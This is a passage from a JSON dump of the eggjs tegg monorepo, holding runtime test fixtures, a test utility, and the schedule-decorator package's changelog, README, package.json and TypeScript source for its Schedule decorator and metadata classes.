    "content": "{\n  \"name\": \"multi-instance-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiInstanceModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/multi-module/multi-module-common/model/App.ts",
    "content": "export default class App {\n  name: string;\n  desc: string;\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/multi-module/multi-module-common/package.json",
    "content": "{\n  \"name\": \"multi-module-common\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multi-module-common\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/multi-module/multi-module-repo/AppRepo.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/core-decorator';\nimport { AccessLevel } from '@eggjs/tegg-types';\n\nimport App from '../multi-module-common/model/App.js';\nimport PersistenceService from './PersistenceService.js';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppRepo {\n  @Inject()\n  persistenceService: PersistenceService;\n\n  public async findApp(name: string): Promise<App | null> {\n    const raw = this.persistenceService.get(name);\n    if (!raw) {\n      return null;\n    }\n    return JSON.parse(raw);\n  }\n\n  public async insertApp(app: App): Promise<void> {\n    this.persistenceService.set(app.name, JSON.stringify(app));\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/multi-module/multi-module-repo/PersistenceService.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\nimport { AccessLevel, ObjectInitType } from '@eggjs/tegg-types';\n\n@Prototype({\n  initType: ObjectInitType.SINGLETON,\n  accessLevel: AccessLevel.PRIVATE,\n})\nexport default class PersistenceService {\n  private store: Map<string, string> = new Map();\n\n  public set(key: string, val: string): void {\n    this.store.set(key, val);\n  }\n\n  public get(key: string): string | undefined {\n    return this.store.get(key);\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/multi-module/multi-module-repo/package.json",
    "content": "{\n  \"name\": \"multi-module-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multi-module-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/multi-module/multi-module-service/AppService.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/core-decorator';\n\nimport App from '../multi-module-common/model/App.js';\nimport AppRepo from '../multi-module-repo/AppRepo.js';\n\n@ContextProto()\nexport default class AppService {\n  @Inject()\n  appRepo: AppRepo;\n\n  findApp(name: string): Promise<App | null> {\n    return this.appRepo.findApp(name);\n  }\n\n  save(app: App): Promise<void> {\n    return this.appRepo.insertApp(app);\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/multi-module/multi-module-service/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiModuleService\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as types from '../src/index.js';\n\nit('should export stable', async () => {\n  expect(types).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/runtime/test/util.ts",
    "content": "import path from 'node:path';\n\nimport { LoadUnitFactory } from '@eggjs/metadata';\nimport { LoaderUtil } from '@eggjs/module-test-util';\nimport { LoaderFactory } from '@eggjs/tegg-loader';\nimport { EggLoadUnitType, type LoadUnitInstance } from '@eggjs/tegg-types';\n\nimport { LoadUnitInstanceFactory } from '../src/index.ts';\n\nexport default class TestUtil {\n  static async createLoadUnitInstance(modulePath: string, buildGraph = true): Promise<LoadUnitInstance> {\n    const absolutePath = path.join(__dirname, 'fixtures/modules', modulePath);\n    if (buildGraph) {\n      await LoaderUtil.buildGlobalGraph([absolutePath]);\n    }\n    const loader = LoaderFactory.createLoader(absolutePath, EggLoadUnitType.MODULE);\n    const loadUnit = await LoadUnitFactory.createLoadUnit(absolutePath, EggLoadUnitType.MODULE, loader);\n    return await LoadUnitInstanceFactory.createLoadUnitInstance(loadUnit);\n  }\n\n  static async destroyLoadUnitInstance(loadUnitInstance: LoadUnitInstance): Promise<void> {\n    await LoadUnitInstanceFactory.destroyLoadUnitInstance(loadUnitInstance);\n    await LoadUnitFactory.destroyLoadUnit(loadUnitInstance.loadUnit);\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/runtime/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/schedule-decorator/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-schedule-decorator\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n\n\n\n\n\n# 1.5.0 (2022-09-04)\n\n\n### Features\n\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n"
  },
  {
    "path": "tegg/core/schedule-decorator/README.md",
    "content": "# `@eggjs/schedule-decorator`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/schedule-decorator.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/schedule-decorator.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/schedule-decorator\n[snyk-image]: https://snyk.io/test/npm/@eggjs/schedule-decorator/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/schedule-decorator\n[download-image]: https://img.shields.io/npm/dm/@eggjs/schedule-decorator.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/schedule-decorator\n\n## Install\n\n```shell\nnpm i --save @eggjs/schedule-decorator\n```\n\n## Define schedule subscriber\n\n```ts\nimport { Schedule } from '@eggjs/tegg';\n\n// use number to define schedule interval\n@Schedule<IntervalParams>({\n  type: ScheduleType.WORKER,\n  scheduleData: {\n    // run every 100ms\n    interval: 100,\n  },\n})\nexport class FooSubscriber {\n  @Inject()\n  private readonly logger: EggLogger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n\n// use cron to define schedule interval\n@Schedule<CronParams>({\n  type: ScheduleType.WORKER,\n  scheduleData: {\n    cron: '0 0 3 * * *',\n  },\n})\nexport class FooSubscriber {\n  @Inject()\n  private readonly logger: EggLogger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n```\n"
  },
  {
    "path": "tegg/core/schedule-decorator/package.json",
    "content": "{\n  \"name\": \"@eggjs/schedule-decorator\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg schedule decorator\",\n  \"keywords\": [\n    \"egg\",\n    \"runtime\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/schedule-decorator\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/schedule-decorator\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/schedule-decorator/src/builder/ScheduleMetaBuilder.ts",
    "content": "import type { EggProtoImplClass, ScheduleOptions } from '@eggjs/tegg-types';\n\nimport { ScheduleMetadata } from '../model/index.ts';\nimport { ScheduleInfoUtil } from '../util/index.ts';\n\nconst DEFAULT_SCHEDULE_OPTIONS: ScheduleOptions = {\n  immediate: false,\n  disable: false,\n  env: undefined,\n};\n\nexport class ScheduleMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n\n  constructor(clazz: EggProtoImplClass) {\n    this.clazz = clazz;\n  }\n\n  build(): ScheduleMetadata<object> {\n    const params = ScheduleInfoUtil.getScheduleParams(this.clazz);\n    if (!params) {\n      throw new Error(`class ${this.clazz.name} is not a schedule`);\n    }\n    const options = ScheduleInfoUtil.getScheduleOptions(this.clazz);\n    const scheduleOptions = Object.assign({}, DEFAULT_SCHEDULE_OPTIONS, options);\n    return new ScheduleMetadata<object>(\n      params.type,\n      params.scheduleData,\n      scheduleOptions.immediate!,\n      scheduleOptions.disable!,\n      scheduleOptions.env,\n    );\n  }\n}\n"
  },
  {
    "path": "tegg/core/schedule-decorator/src/builder/index.ts",
    "content": "export * from './ScheduleMetaBuilder.ts';\n"
  },
  {
    "path": "tegg/core/schedule-decorator/src/decorator/Schedule.ts",
    "content": "import { PrototypeUtil, SingletonProto } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, ScheduleOptions, ScheduleParams, ScheduleSubscriber } from '@eggjs/tegg-types';\n\nimport { ScheduleInfoUtil } from '../util/index.ts';\n\nexport function Schedule<T>(param: ScheduleParams<T>, options?: ScheduleOptions) {\n  return function (clazz: EggProtoImplClass<ScheduleSubscriber>): void {\n    ScheduleInfoUtil.setIsSchedule(true, clazz);\n    ScheduleInfoUtil.setScheduleParams(param, clazz);\n    if (options) {\n      ScheduleInfoUtil.setScheduleOptions(options, clazz);\n    }\n    const func = SingletonProto({\n      name: clazz.name,\n      accessLevel: AccessLevel.PUBLIC,\n    });\n    func(clazz);\n\n    PrototypeUtil.setFilePath(clazz, StackUtil.getCalleeFromStack(false, 5));\n  };\n}\n"
  },
  {
    "path": "tegg/core/schedule-decorator/src/decorator/index.ts",
    "content": "export * from './Schedule.ts';\n"
  },
  {
    "path": "tegg/core/schedule-decorator/src/index.ts",
    "content": "export * from '@eggjs/tegg-types/schedule';\n\nexport * from './builder/index.ts';\nexport * from './decorator/index.ts';\nexport * from './model/index.ts';\nexport * from './util/index.ts';\n"
  },
  {
    "path": "tegg/core/schedule-decorator/src/model/ScheduleMetadata.ts",
    "content": "import type { ScheduleTypeLike } from '@eggjs/tegg-types';\n\nexport class ScheduleMetadata<T> {\n  type: ScheduleTypeLike;\n  scheduleData: T;\n  immediate: boolean;\n  disable: boolean;\n  env?: string[];\n\n  constructor(type: ScheduleTypeLike, data: T, immediate: boolean, disable: boolean, env?: string[]) {\n    this.type = type;\n    this.scheduleData = data;\n    this.immediate = immediate;\n    this.disable = disable;\n    this.env = env;\n  }\n\n  shouldRegister(env: string): boolean {\n    if (!this.env) return true;\n    return this.env.includes(env);\n  }\n}\n"
  },
  {
    "path": "tegg/core/schedule-decorator/src/model/index.ts",
    "content": "export * from './ScheduleMetadata.ts';\n"
  },
  {
    "path": "tegg/core/schedule-decorator/src/util/ScheduleInfoUtil.ts",
